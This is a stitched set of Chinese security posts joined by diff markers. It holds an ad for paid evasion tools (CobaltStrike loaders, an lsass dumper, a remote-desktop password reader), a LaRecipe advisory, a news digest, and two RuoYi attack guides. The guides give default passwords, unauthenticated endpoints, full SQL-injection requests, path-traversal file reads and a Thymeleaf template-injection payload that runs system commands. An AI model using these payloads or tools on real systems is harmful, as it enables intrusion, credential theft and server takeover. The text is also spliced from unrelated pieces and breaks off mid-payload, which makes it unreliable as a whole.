|
||||
|
||||
-
|
||||
CobaltStrike免杀加载器
|
||||
|
||||
- 数据库直连工具免杀版
|
||||
|
||||
- aspx文件自动上线cobaltbrike
|
||||
|
||||
- jsp文件
|
||||
自动上线cobaltbrike
|
||||
|
||||
- 哥斯拉免杀工具
|
||||
XlByPassGodzilla
|
||||
|
||||
- 冰蝎免杀工具 XlByPassBehinder
|
||||
|
||||
- 冰蝎星落专版 xlbehinder
|
||||
|
||||
- 正向代理工具 xleoreg
|
||||
|
||||
- 反向代理工具xlfrc
|
||||
|
||||
- 内网扫描工具 xlscan
|
||||
|
||||
- CS免杀加载器 xlbpcs
|
||||
|
||||
- Todesk/向日葵密码读取工具
|
||||
|
||||
- 导出lsass内存工具 xlrls
|
||||
|
||||
- 绕过WAF免杀工具 ByPassWAF
|
||||
|
||||
- 等等...
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
目前星球已满600人,价格由208元
|
||||
调整为
|
||||
218元(
|
||||
交个朋友啦
|
||||
),700名以后涨价至268元!
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
往期推荐
|
||||
|
||||
|
||||
|
||||
1.
|
||||
[学不会全额退款 | 星落免杀第一期,助你打造专属免杀武器库](https://mp.weixin.qq.com/s?__biz=MzkwNjczOTQwOA==&mid=2247494072&idx=1&sn=e46a6d176a8fad2aa4b4c055de3607da&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
2.
|
||||
[【干货】你不得不学习的内网渗透手法](http://mp.weixin.qq.com/s?__biz=MzkwNjczOTQwOA==&mid=2247489483&idx=1&sn=0cbeb449e56db1ae48abfb924ffd0b43&chksm=c0e2bc74f79535622f39166c8ed17d5fe5a2bbc3f622d20491033b6aa61d26d789e59bab5b79&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
3.
|
||||
[【免杀】CobaltStrike4.9.1二开 | 自破解 免杀 修复BUG](http://mp.weixin.qq.com/s?__biz=MzkwNjczOTQwOA==&mid=2247488486&idx=1&sn=683083d38a58de4a95750673d9cb725d&chksm=c0e2b859f795314f3b7bc980a5d4114508ee2c286bc683cdfd25eefa4fb59f26adfe5483690b&scene=21#wechat_redirect)
|
||||
[!](http://mp.weixin.qq.com/s?__biz=MzkwNjczOTQwOA==&mid=2247486966&idx=1&sn=3f144d5936d5cdc11178004549384ace&chksm=c0e2a649f7952f5f7557dde6e9cca53ecee7b5e2f7ff23395250e8fe47acb102902d9727185d&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
4.
|
||||
[【免杀】原来SQL注入也可以绕过杀软执行shellcode上CoblatStrike](http://mp.weixin.qq.com/s?__biz=MzkwNjczOTQwOA==&mid=2247489950&idx=1&sn=a54e05e31a2970950ad47800606c80ff&chksm=c0e2b221f7953b37b5d7b1a8e259a440c1ee7127d535b2c24a5c6c2f2e773ac2a4df43a55696&scene=21#wechat_redirect)
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
【
|
||||
声明
|
||||
】本文所涉及的技术、思路和工具仅用于安全测试和防御研究,切勿将其用于非法入侵或攻击他人系统以及盈利等目的,一切后果由操作者自行承担!!!
|
||||
|
||||
@@ -0,0 +1,45 @@
|
||||
# 漏洞预警 | LaRecipe服务器端模板注入漏洞
|
||||
浅安 浅安安全 2025-07-22 00:00
|
||||
|
||||
**0x00 漏洞编号**
|
||||
- # CVE-2025-53833
|
||||
|
||||
**0x01 危险等级**
|
||||
- 高危
|
||||
|
||||
**0x02 漏洞概述**
|
||||
|
||||
LaRecipe是一款允许用户在Laravel应用中使用Markdown创建文档的应用程序。
|
||||
|
||||

|
||||
|
||||
|
||||
**0x03 漏洞详情**
|
||||
###
|
||||
|
||||
**CVE-2025-53833**
|
||||
|
||||
**漏洞类型:**
|
||||
模板注入
|
||||
|
||||
**影响:**
|
||||
执行任意代码
|
||||
|
||||
**简述:**
|
||||
LaRecipe存在服务端模板注入漏洞
|
||||
,攻击者可构造恶意请求利用模版注入漏洞执行任意代码,控制服务器。
|
||||
|
||||
**0x04 影响版本**
|
||||
- LaRecipe < 2.8.1
|
||||
|
||||
**0x05****POC状态**
|
||||
- 已公开
|
||||
|
||||
**0x06****修复建议**
|
||||
|
||||
******目前官方已发布漏洞修复版本,建议用户升级到安全版本****:******
|
||||
|
||||
https://github.com/saleem-hadad/larecipe
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,121 @@
|
||||
# 火绒安全:微信 Windows客户端3.9及以下版本存在远程代码执行漏洞
|
||||
汇能云安全 2025-07-22 01:28
|
||||
|
||||

|
||||
|
||||
**7****月****22****日,星期二****,您好!中科汇能与您分享信息安全快讯:**
|
||||
|
||||

|
||||
|
||||
**01**
|
||||
|
||||
|
||||
**OpenAI即将发布GPT-5,引入新的训练方法和数据集**
|
||||
|
||||
|
||||
近日,关于OpenAI即将推出的GPT-5模型的消息引起了广泛关注。该模型在推理能力和生成文本的质量上有显著提升,可能会在多个应用场景中展现出更强的智能。
|
||||
|
||||
**GPT-5的推理Alpha模型在处理复杂问题时表现出色,能够更好地理解上下文并生成更为连贯的回答。这一进步得益于OpenAI在深度学习和自然语言处理领域的持续创新。**
|
||||
|
||||
GPT-5还引入了新的训练方法和更大规模的数据集,使其在理解和生成自然语言方面的能力得到了显著增强。
|
||||
|
||||
**02**
|
||||
|
||||
**钓鱼攻击新手法,针对FIDO2多因素认证进行降级攻击**
|
||||
|
||||
|
||||
研究人员近日发现了一种名为“PoisonSeed”的钓鱼攻击新手法,主要针对FIDO2多因素认证进行降级攻击。**攻击者通过伪造的登录页面诱使用户输入其凭证,从而绕过FIDO2的安全保护。**
|
||||
|
||||
PoisonSeed攻击利用了用户对FIDO2的信任,攻击者通过发送伪造的电子邮件,诱导用户访问恶意网站并输入其FIDO2设备生成的验证码,攻击者则可以利用这些信息进行身份盗用。
|
||||
|
||||
**03**
|
||||
|
||||
**火绒安全:微信 Windows客户端3.9及以下版本存在远程代码执行漏洞**
|
||||
|
||||
|
||||
近日,“火绒安全”公众号曝光并复现一个微信Windows客户端漏洞,该漏洞可使攻击者执行远程代码。微信Windows客户端3.9及以下版本均存在此问题。
|
||||
|
||||
据介绍,**该漏洞具体技术原理为“微信客户端在处理聊天记录中的文件自动下载时,未对文件路径进行充分的校验和过滤”,可由“目录穿越”漏洞链与“远程代码执行”组合触发。**
|
||||
|
||||
**04**
|
||||
|
||||
|
||||
**微软SharePoint服务器爆严重安全缺陷,官方补丁仍未发布**
|
||||
|
||||
|
||||
近期,网络安全专家发现微软SharePoint服务器中存在一个严重的零日漏洞,该漏洞允许攻击者在未授权的情况下执行任意代码。此漏洞目前尚无官方补丁可供修复,给企业和组织的安全带来了重大风险。
|
||||
|
||||
**攻击者可以利用该漏洞通过特制的请求来获取对受影响系统的完全控制。这种攻击方式不仅影响了SharePoint服务器的正常运行,还可能导致敏感数据的泄露。**
|
||||
|
||||
安全专家建议企业应采取紧急措施,包括限制对SharePoint服务器的访问、加强网络监控以及实施入侵检测系统。
|
||||
|
||||
**05**
|
||||
|
||||
**新型恶意二维码攻击风险正快速上升**
|
||||
|
||||
|
||||
近期,网络安全领域出现了一种新型的二维码攻击,攻击者通过PDF文件传播恶意二维码,诱使用户扫描,从而窃取敏感信息。
|
||||
|
||||
**这种攻击的关键在于PDF文件的构造。攻击者可以在PDF中嵌入看似无害的二维码,用户在扫描后可能会被重定向到恶意网站,或下载恶意软件。**
|
||||
|
||||
攻击者通常会利用社交工程手段,伪装成合法机构或服务,增加用户的信任度。攻击者还可能通过电子邮件、社交媒体等渠道传播这些PDF文件,进一步扩大攻击范围。
|
||||
|
||||
**06**
|
||||
|
||||
**攻击者利用热门开发工具包应用程序漏洞发起恶意攻击**
|
||||
|
||||
|
||||
近期,安全研究人员通过网络空间搜索引擎监测发现,**威胁行为者正积极利用那些整合了存在漏洞的 Spring Boot 开发工具包发起网络攻击活动。**
|
||||
|
||||
受影响的主要是使用了特定旧版本 Spring Boot DevTools 的 Java 应用。攻击者利用其中漏洞,可实现远程代码执行等恶意操作,严重威胁应用数据安全与系统稳定。
|
||||
|
||||
**安全专家建议,开发者尽快检查应用所使用的 Spring Boot DevTools 版本。同时加强网络监测,及时发现并阻止异常扫描行为。**
|
||||
|
||||
**07**
|
||||
|
||||
**江西网警查处两起网站运营者不履行网络信息安全管理义务违法案件**
|
||||
|
||||
|
||||
今年,江西公安网安部门持续开展“护网-2025”专项工作,快速查处两起网站运营者不履行网络信息安全管理义务案,及时消除不良社会影响,切实维护网络空间秩序。
|
||||
|
||||
**近日,宜春奉新网警在工作中发现,某公司“AI智能聊天机器人”未对生成内容进行审核,导致出现违法信息,严重危害网络秩序,极易造成社会负面影响。**
|
||||
|
||||
发现该违法行为后,公安机关迅速对涉事网站负责人依法进行约谈,对其不履行网络信息安全管理义务的违法行为作出行政处罚,并责令相关网站限期整改。
|
||||
|
||||
**08**
|
||||
|
||||
**蔚来汽车法务部回应“举报截图”,系利用AI技术虚假生成**
|
||||
|
||||
|
||||
7月19日,蔚来法务部发布声明,对近期网络恶意造谣事件作出回应:**网传“乐道汽车员工参与黑公关”、“蔚来雇水军攻击友商”等内容,均为虚假信息,严重损害我司及员工声誉。**
|
||||
所谓“举报截图”显示的“虚拟货币交易细节”、“证据材料”等,经核实系利用AI技术生成的虚假文件,属蓄意造谣,包括“阿文鉴机”在内的部分账号,**在未核实内容真实性的情况下,传播了上述谣言。面对上述恶意伪造攻击行为,蔚来汽车已经迅速报案并启动法律程序。**
|
||||
|
||||
**09**
|
||||
|
||||
**欧盟新人工智能法案 8 月生效,AI大模型面临合规考验**
|
||||
|
||||
|
||||
欧盟《人工智能法案》即将于 8 月 2 日起对生成式 AI 模型生效,该法案旨在规范 AI 技术,确保其安全、透明并尊重人权。
|
||||
|
||||
**欧盟委员会发言人明确表示,针对生成式 AI 模型的法律截止日期不会变动,不存在 “暂停时钟”“宽限期” 或 “暂停” 的情况。**
|
||||
AI 委员会正讨论给予签署方 “宽限期”,但这仅适用于自愿性的行为准则,AI 法案的相关规则仍于 8 月 2 日生效。
|
||||
|
||||
10
|
||||
|
||||
**马斯克宣布将推出儿童版 AI 应用「Baby Grok」**
|
||||
|
||||
|
||||
7 月 20 日,马斯克在社交平台宣布,其人工智能公司 xAI 将开发一款专为儿童设计的应用“Baby Grok”,该应用将为儿童提供“友好型内容”。xAI目前并未披露Baby Grok的技术细节或发布时间。但儿童AI领域的监管要求极高,尤其在欧美市场。
|
||||
|
||||
**《儿童在线隐私保护法案》等法规明确规定,产品需对13岁以下用户提供特别保护,包括数据采集限制、内容过滤与家长控制。**
|
||||
xAI 作为一新兴的AI智能公司,要想在这块市场站稳脚跟,不仅需要技术过硬,更需要极高的合规意识。
|
||||
|
||||

|
||||
|
||||
信息来源:人民网 国家计算机网络应急技术处理协调中心 国家信息安全漏洞库 今日头条 360威胁情报中心 中科汇能GT攻防实验室 安全牛 E安全 安全客 NOSEC安全讯息平台 火绒安全 亚信安全 奇安信威胁情报中心 MACFEESy mantec白帽汇安全研究院 安全帮 卡巴斯基 安全内参 安全学习那些事 安全圈 黑客新闻 蚁景网安实验室 IT之家IT资讯 黑客新闻国外 天际友盟
|
||||
|
||||

|
||||
|
||||
本文版权归原作者所有,如有侵权请联系我们及时删除
|
||||
|
||||
|
||||
@@ -0,0 +1,144 @@
|
||||
# 若依前台漏洞总结
|
||||
影子先生 实战安全研究 2025-07-22 02:52
|
||||
|
||||
# 一、若依特征
|
||||
|
||||
绿若依:icon_hash=”706913071”
|
||||
|
||||

|
||||
|
||||

|
||||
绿若依常见登录页面
|
||||
|
||||

|
||||
|
||||
蓝若依:icon_hash=” -1231872293”
|
||||
|
||||

|
||||

|
||||
|
||||
蓝若依常见登录界面
|
||||
|
||||
|
||||
若依框架通常使用的组件有springboot、webpack、shiro、druid、swagger、redis、zookeeper、mysql等
|
||||
# 二、未授权访问
|
||||
|
||||
常见为绿若依,绿若依一般都会常用webpack组件,F12查看js文件,找到一个名为appxxxxxx.js的文件,搜索baseurl,找到api路径
|
||||
|
||||
|
||||
常见的api路径有:/api、/dev-api、/prod-api等
|
||||
|
||||
也有一些api路径指向的是另一个网址
|
||||
|
||||
|
||||
访问后为如下界面
|
||||
|
||||
|
||||
对其进行目录扫描能发现许多信息
|
||||
|
||||
常见的未授权有druid、springboot、swagger
|
||||
|
||||
在api后面拼接对应路径
|
||||
## druid未授权
|
||||
|
||||
druid:http://ip/baseurl/druid/login.html
|
||||
|
||||
|
||||
如果有未授权可以直接访问,需要账号密码的可以配合若依系统弱口令进行登录
|
||||
|
||||
常见弱口令有:admin/admin、admin\admin123、admin\123456、ry\123456、ruoyi\123456
|
||||
|
||||
登录后重点查看Session监控和URI监控两处
|
||||
|
||||
Session监控里存在历史登录的Session,可以尝试替换Session值进行登录
|
||||
|
||||
|
||||
URI监控处存在大量接口路径,可以进一步访问获取敏感信息
|
||||
|
||||
## swagger未授权
|
||||
|
||||
swagger:http://ip/baseurl/swagger-ui/
|
||||
|
||||
|
||||
可以通过接口文档进行下一步操作,如果发现大量接口可以使用工具进行自动化测试,如swagger-hack
|
||||
|
||||
## springboot未授权
|
||||
|
||||
springboot:http://ip/baseurl/actuator
|
||||
|
||||
|
||||
重点关注/actuator/heapdump路径
|
||||
|
||||
访问下载后使用工具对其进行分析可获得大量敏感信息
|
||||

|
||||
|
||||
|
||||
## redis未授权
|
||||
|
||||
若依系统通常会用到mysql和redis数据库,可以尝试redis未授权访问,或者对数据库进行弱口令爆破
|
||||
# 三、弱口令+默认密码
|
||||
|
||||
常见登录界面路径为:/login
|
||||
|
||||
如果页面访问显示不正常,可添加默认访问路径尝试是否显示正常
|
||||
|
||||
/login?redirect=%2Findex
|
||||
|
||||
/baseurl/login?redirect=%2Findex
|
||||
|
||||
有些若依系统的账号密码会直接显示在前台登录框中,可以直接利用进行登录
|
||||
|
||||
|
||||
常见的弱口令有:admin/admin、admin\admin123、admin\123456、ry\123456、ry\admin123、ruoyo\admin123、ruoyi\123456
|
||||
# 四、注册接口
|
||||
|
||||
在弱口令等方法都试过之后还无法登录,可以尝试访问注册接口看看系统是否允许注册
|
||||
|
||||
访问:/register
|
||||
|
||||
不允许注册
|
||||
|
||||
|
||||
允许注册
|
||||
|
||||

|
||||
|
||||
注册成功后就可以使用注册账号登录进一步测试
|
||||
# 五、shiro反序列化
|
||||
|
||||
若依登录界面通常都采用了rememberMe字段,如果存在默认的key值,则可以进一步利用,实现shiro反序列化
|
||||
|
||||

|
||||
# 六、未授权文件上传
|
||||
|
||||
常见于绿若依系统,F12查找js中的app.js,搜索uploadurl
|
||||
|
||||
|
||||
访问对应路径/baseurl/common/upload
|
||||
|
||||
有鉴权
|
||||
|
||||
|
||||
未授权
|
||||
|
||||
|
||||
构造对应的文件上传请求包
|
||||
|
||||
|
||||
访问返回的文件路径
|
||||
|
||||
|
||||
有些网站做了限制,只允许白名单上传
|
||||
|
||||
|
||||
这种情况可以打带有xss的html文件,造成存储xss
|
||||
|
||||
没限制的网站可以直接getshell
|
||||
|
||||
|
||||
```
|
||||
作者:影子先生
|
||||
原文链接:https://www.freebuf.com/articles/web/411980.html
|
||||
```
|
||||
|
||||
|
||||
@@ -0,0 +1,760 @@
|
||||
# 若依系统前台+后台漏洞总结:RuoYi框架九大高危漏洞攻防指南|挖洞技巧
|
||||
Takake/影子先生 渗透安全HackTwo 2025-07-21 16:00
|
||||
|
||||
**0x01 前言**
|
||||
|
||||
RuoYi历史漏洞包括Shiro反序列化漏洞、SSTI漏洞、SQL注入、默认口令、任意文件下载、定时任务远程RCE等。其中,Shiro反序列化漏洞适用于RuoYi V-4.6.2之前的版本,SSTI漏洞适用于V-4.7.1版本,SQL注入适用于<V-4.6.2版本。任意文件下载漏洞适用于所有版本V-4.7.8之前,定时任务远程RCE适用于<V-4.7.2版本。文章还介绍了漏洞的复现过程、修复方法以及一些绕过策略。总结了RuoYi存在的各种漏洞,提醒用户及时修复以确保系统的安全性
|
||||
。
|
||||
|
||||

|
||||
|
||||
|
||||
现在只对常读和星标的公众号才展示大图推送,建议大家把**渗透安全HackTwo“设为星标”,否则可能就看不到了啦!**
|
||||
|
||||
参考文章
|
||||
|
||||
```
|
||||
https://www.freebuf.com/articles/web/411980.html
|
||||
https://www.cnblogs.com/wavewindsor/p/17880329.html
|
||||
```
|
||||
|
||||
|
||||
**末尾可领取挖洞资料文件 #渗透安全HackTwo**
|
||||
|
||||
**0x02 漏洞详情**
|
||||
|
||||
**若依前台漏洞**
|
||||
|
||||
**若依特征**
|
||||
```
|
||||
绿若依:icon_hash=”706913071”
|
||||
```
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
绿若依常见登录页面
|
||||
|
||||

|
||||
```
|
||||
蓝若依:icon_hash=” -1231872293”
|
||||
```
|
||||
|
||||

|
||||

|
||||
|
||||
蓝若依常见登录界面
|
||||
|
||||
|
||||
部分漏洞可借助若依综合漏洞利用工具一键扫描
|
||||
(工具在内部星球获取)
|
||||
|
||||

|
||||
|
||||
若依框架通常使用的组件有springboot、webpack、shiro、druid、swagger、redis、zookeeper、mysql等
|
||||
|
||||
未授权访问
|
||||
|
||||
常见为绿若依,绿若依一般都会常用webpack组件,F12查看js文件,找到一个名为appxxxxxx.js的文件,搜索baseurl,找到api路径
|
||||
|
||||
|
||||
常见的api路径有:/api、/dev-api、/prod-api等
|
||||
|
||||
也有一些api路径指向的是另一个网址
|
||||
|
||||
|
||||
访问后为如下界面
|
||||
|
||||
|
||||
对其进行目录扫描能发现许多信息
|
||||
|
||||
常见的未授权有druid、springboot、swagger
|
||||
|
||||
在api后面拼接对应路径
|
||||
## druid未授权
|
||||
|
||||
druid:http://ip/baseurl/druid/login.html
|
||||
|
||||
|
||||
如果有未授权可以直接访问,需要账号密码的可以配合若依系统弱口令进行登录
|
||||
|
||||
常见弱口令有:
|
||||
```
|
||||
admin/admin
|
||||
admin/admin123
|
||||
admin/123456
|
||||
ry/123456
|
||||
ruoyi/123456
|
||||
```
|
||||
|
||||
登录后重点查看Session监控和URI监控两处
|
||||
|
||||
Session监控里存在历史登录的Session,可以尝试替换Session值进行登录
|
||||
|
||||
|
||||
URI监控处存在大量接口路径,可以进一步访问获取敏感信息
|
||||
|
||||
## swagger未授权
|
||||
|
||||
swagger:http://ip/baseurl/swagger-ui/
|
||||
|
||||
|
||||
可以通过接口文档进行下一步操作,如果发现大量接口可以使用工具进行自动化测试,如swagger-hack
|
||||
|
||||
## springboot未授权
|
||||
|
||||
springboot:http://ip/baseurl/actuator
|
||||
|
||||
|
||||
重点关注/actuator/heapdump路径
|
||||
|
||||
访问下载后使用工具对其进行分析可获得大量敏感信息
|
||||

|
||||
|
||||
## redis未授权
|
||||
|
||||
若依系统通常会用到mysql和redis数据库,可以尝试redis未授权访问,或者对数据库进行弱口令爆破
|
||||
# 弱口令+默认密码
|
||||
|
||||
常见登录界面路径为:/login
|
||||
|
||||
如果页面访问显示不正常,可添加默认访问路径尝试是否显示正常
|
||||
|
||||
/login?redirect=%2Findex
|
||||
|
||||
/baseurl/login?redirect=%2Findex
|
||||
|
||||
有些若依系统的账号密码会直接显示在前台登录框中,可以直接利用进行登录
|
||||
|
||||
|
||||
常见的弱口令有:
|
||||
```
|
||||
admin/admin
|
||||
admin/admin123
|
||||
admin/123456
|
||||
ry/123456
|
||||
ry/admin123
|
||||
ruoyo/admin123
|
||||
ruoyi/123456
|
||||
```
|
||||
# 注册接口
|
||||
|
||||
在弱口令等方法都试过之后还无法登录,可以尝试访问注册接口看看系统是否允许注册
|
||||
|
||||
访问:/register
|
||||
|
||||
不允许注册
|
||||
|
||||
|
||||
允许注册
|
||||
|
||||

|
||||
|
||||
注册成功后就可以使用注册账号登录进一步测试
|
||||
# shiro反序列化
|
||||
|
||||
若依登录界面通常都采用了rememberMe字段,如果存在默认的key值,则可以进一步利用,实现shiro反序列化
|
||||
|
||||

|
||||
# 未授权文件上传
|
||||
|
||||
常见于绿若依系统,F12查找js中的app.js,搜索uploadurl
|
||||
|
||||
|
||||
访问对应路径/baseurl/common/upload
|
||||
|
||||
有鉴权
|
||||
|
||||
|
||||
未授权
|
||||
|
||||
|
||||
构造对应的文件上传请求包
|
||||
|
||||
|
||||
访问返回的文件路径
|
||||
|
||||
|
||||
有些网站做了限制,只允许白名单上传
|
||||
|
||||
|
||||
这种情况可以打带有xss的html文件,造成存储xss
|
||||
|
||||
没限制的网站可以直接getshell
|
||||
|
||||
若依后台漏洞
|
||||
## 若依后台存在多处sql注入漏洞
|
||||
### 漏洞简介
|
||||
|
||||
若依后台存在多个SQL注入点
|
||||
### 漏洞复现
|
||||
|
||||
进入后台后,拦截角色管理页面的请求包
|
||||
|
||||

|
||||
|
||||
|
||||
POC:
|
||||
```
|
||||
POST /system/role/list HTTP/1.1
|
||||
Host: 127.0.0.1
|
||||
Content-Length: 179
|
||||
sec-ch-ua: "Chromium";v="109", "Not_A Brand";v="99"
|
||||
Accept: application/json, text/javascript, */*; q=0.01
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
X-Requested-With: XMLHttpRequest
|
||||
sec-ch-ua-mobile: ?0
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
|
||||
sec-ch-ua-platform: "Windows"
|
||||
Origin: http://127.0.0.1
|
||||
Sec-Fetch-Site: same-origin
|
||||
Sec-Fetch-Mode: cors
|
||||
Sec-Fetch-Dest: empty
|
||||
Referer: http://127.0.0.1/system/role
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: zh-CN,zh;q=0.9
|
||||
Cookie: o0At_2132_saltkey=JW6Gt2hb; o0At_2132_lastvisit=1691240426; o0At_2132_ulastactivity=2db4EUfD9WS50eLvnip%2B9TxK2ZhcO65vPL0dA6sPVF8AQSBMa6Qn; JSESSIONID=cfcf2d1f-f180-46cf-98bb-5eacc4206014
|
||||
Connection: close
|
||||
pageSize=&pageNum=&orderByColumn=&isAsc=&roleName=&roleKey=&status=¶ms[beginTime]=¶ms[endTime]=¶ms[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))
|
||||
```
|
||||
|
||||

|
||||
|
||||
|
||||
第二个sql注入点:角色编辑接口
|
||||
|
||||
POC:
|
||||
```
|
||||
POST /system/dept/edit HTTP/1.1
|
||||
Host: 127.0.0.1
|
||||
Content-Length: 111
|
||||
sec-ch-ua: "Chromium";v="109", "Not_A Brand";v="99"
|
||||
Accept: application/json, text/javascript, */*; q=0.01
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
X-Requested-With: XMLHttpRequest
|
||||
sec-ch-ua-mobile: ?0
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
|
||||
sec-ch-ua-platform: "Windows"
|
||||
Origin: http://127.0.0.1
|
||||
Sec-Fetch-Site: same-origin
|
||||
Sec-Fetch-Mode: cors
|
||||
Sec-Fetch-Dest: empty
|
||||
Referer: http://127.0.0.1/system/role
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: zh-CN,zh;q=0.9
|
||||
Cookie: o0At_2132_saltkey=JW6Gt2hb; o0At_2132_lastvisit=1691240426; o0At_2132_ulastactivity=2db4EUfD9WS50eLvnip%2B9TxK2ZhcO65vPL0dA6sPVF8AQSBMa6Qn; JSESSIONID=cfcf2d1f-f180-46cf-98bb-5eacc4206014
|
||||
Connection: close
|
||||
DeptName=1&DeptId=100&ParentId=12&Status=0&OrderNum=1&ancestors=0)or(extractvalue(1,concat((select user()))));#
|
||||
```
|
||||
|
||||

|
||||
|
||||
|
||||
第三个sql注入点POC:
|
||||
```
|
||||
POST /system/role/export HTTP/1.1
|
||||
Host: 127.0.0.1
|
||||
Content-Length: 75
|
||||
sec-ch-ua: "Chromium";v="109", "Not_A Brand";v="99"
|
||||
Accept: application/json, text/javascript, */*; q=0.01
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
X-Requested-With: XMLHttpRequest
|
||||
sec-ch-ua-mobile: ?0
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
|
||||
sec-ch-ua-platform: "Windows"
|
||||
Origin: http://127.0.0.1
|
||||
Sec-Fetch-Site: same-origin
|
||||
Sec-Fetch-Mode: cors
|
||||
Sec-Fetch-Dest: empty
|
||||
Referer: http://127.0.0.1/system/role
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: zh-CN,zh;q=0.9
|
||||
Cookie: o0At_2132_saltkey=JW6Gt2hb; o0At_2132_lastvisit=1691240426; o0At_2132_ulastactivity=2db4EUfD9WS50eLvnip%2B9TxK2ZhcO65vPL0dA6sPVF8AQSBMa6Qn; JSESSIONID=cfcf2d1f-f180-46cf-98bb-5eacc4206014
|
||||
Connection: close
|
||||
params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))
|
||||
```
|
||||
|
||||

|
||||
### RuoYi4.7.5版本后台sql注入
|
||||
|
||||
ruoyi-4.7.5 后台 com/ruoyi/generator/controller/GenController 下/tool/gen/createTable路由存在sql注入。
|
||||
|
||||
POC:
|
||||
```
|
||||
sql=CREATE table ss1 as SELECT/**/* FROM sys_job WHERE 1=1 union/**/SELECT/**/extractvalue(1,concat(0x7e,(select/**/version()),0x7e));
|
||||
```
|
||||
|
||||

|
||||
## 若依后台任意文件读取(CNVD-2021-01931)
|
||||
### 漏洞简介
|
||||
|
||||
若依管理系统是基于springboot的权限管理系统,登录后台后可以读取服务器上的任意文件。影响版本:RuoYi<4.5.1
|
||||
### 漏洞复现
|
||||
|
||||
POC:
|
||||
```
|
||||
/common/download/resource?resource=/profile/../../../../etc/passwd
|
||||
/common/download/resource?resource=/profile/../../../../Windows/win.ini
|
||||
```
|
||||
|
||||

|
||||
|
||||
读取了D盘下的1.txt文件
|
||||
## 若依后台任意文件下载漏洞
|
||||
### 漏洞简介
|
||||
|
||||
若依管理系统后台存在任意文件下载漏洞。影响版本:若依管理系统4.7.6及以下版本
|
||||
### 漏洞复现
|
||||
|
||||
漏洞利用前提:登录进后台。
|
||||
|
||||
首先提交一个定时任务。
|
||||
```
|
||||
POST /monitor/job/add HTTP/1.1
|
||||
Host: 127.0.0.1
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:107.0) Gecko/20100101 Firefox/107.0
|
||||
Accept: application/json, text/javascript, */*; q=0.01
|
||||
Accept-Language: en-CA,en-US;q=0.7,en;q=0.3
|
||||
Accept-Encoding: gzip, deflate
|
||||
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
||||
X-Requested-With: XMLHttpRequest
|
||||
Content-Length: 188
|
||||
Connection: close
|
||||
Cookie: o0At_2132_saltkey=JW6Gt2hb; o0At_2132_lastvisit=1691240426; o0At_2132_ulastactivity=2db4EUfD9WS50eLvnip%2B9TxK2ZhcO65vPL0dA6sPVF8AQSBMa6Qn; JSESSIONID=61e79ae9-8cdd-4e51-baac-d269ef551df3
|
||||
createBy=admin&jobName=renwu&jobGroup=DEFAULT&invokeTarget=ruoYiConfig.setProfile('c://windows/win.ini')&cronExpression=0%2F15+*+*+*+*+%3F&misfirePolicy=1&concurrent=1&status=0&remark=
|
||||
```
|
||||
|
||||

|
||||
|
||||
|
||||
通过浏览器直接get请求以下地址即可,下载任意文件。
|
||||
```
|
||||
http://127.0.0.1/common/download/resource?resource=c://windows/win.ini:.zip
|
||||
```
|
||||
|
||||

|
||||
## SSTI(模板注入)漏洞 (仅适用V-4.7.1)
|
||||
### 分析在RuoYi的
|
||||
```
|
||||
ruoyi-admin\src\main\java\com\ruoyi\web\controller\monitor\CacheController.java
|
||||
ruoyi-admin\src\main\java\com\ruoyi\web\controller\demo\controller\DemoFormController.java
|
||||
```
|
||||
|
||||
下存在可控的return字段,且由于RuoYi使用的是
|
||||
thymeleaf
|
||||
视图渲染组件,因此可进行
|
||||
SSTI模板注入
|
||||
。
|
||||
|
||||
其中可注入的接口包括
|
||||
```
|
||||
/localrefresh/task
|
||||
/getValue
|
||||
/getKeys
|
||||
/getNames
|
||||
```
|
||||
|
||||
接口满足条件。
|
||||
|
||||
PostMapping
|
||||
注解控制,会在view中进行解析(或者
|
||||
GetMapping
|
||||
)。
|
||||
|
||||
return
|
||||
值可控(或者
|
||||
url
|
||||
可控)
|
||||
|
||||
可以通过在
|
||||
http://localhost/monitor/cache
|
||||
视图下点击按钮抓包,也可直接构包(该接口需要有效cookie)
|
||||
|
||||

|
||||
- 构建
|
||||
fragment
|
||||
参数payload,由于系统未对
|
||||
fragment
|
||||
参数做任何处理就进行返回,因此我们可以直接插入
|
||||
thymeleaf表达式
|
||||
,使用’
|
||||
${}
|
||||
注入执行表达式,
|
||||
T()
|
||||
访问java类和静态访问。因此构建payload:
|
||||
|
||||
- **${T(java.lang.Runtime).getRuntime().exec(“calc.exe”)}**
|
||||
|
||||
- 由于thymeleaf高版本对T()进行了一些限制,不过可通过在
|
||||
T
|
||||
和
|
||||
(
|
||||
增加空格的办法进行绕过。
|
||||
|
||||
- **${T (java.lang.Runtime).getRuntime().exec(“calc.exe”)}**
|
||||
增加空格接口/monitor/cache/getName
|
||||
|
||||
- 构包,接口
|
||||
**/monitor/cache/getName**
|
||||
(需要有效的身份Cookie)
|
||||
|
||||
- 注入
|
||||
cacheName
|
||||
不能为空
|
||||
|
||||

|
||||
```
|
||||
bady: **cacheName=123&fragment=${T (java.lang.Runtime).getRuntime().exec(“calc.exe”)}**
|
||||
```
|
||||
